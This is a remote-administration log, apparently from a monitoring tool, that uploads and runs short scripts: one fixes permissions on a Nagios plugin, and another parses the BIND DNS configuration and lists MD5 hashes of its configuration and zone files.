2026-03-20 17:46:57: 

PUT: /tmp/pkp303621

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp303621; /tmp/pkp303621; rm /tmp/pkp303621

2026-03-20 17:46:57: 


ok


2026-03-21 14:00:12: Establishing a connection
2026-03-21 14:00:22: Establishing a connection
2026-03-21 14:00:22: 

PUT: /tmp/pkp580397

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:00:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp580397; rm /tmp/pkp580397'

2026-03-21 14:00:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:00:25: Establishing a connection
2026-03-21 14:00:25: 

PUT: /tmp/pkp259283

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:00:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp259283; rm /tmp/pkp259283'

2026-03-21 14:00:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
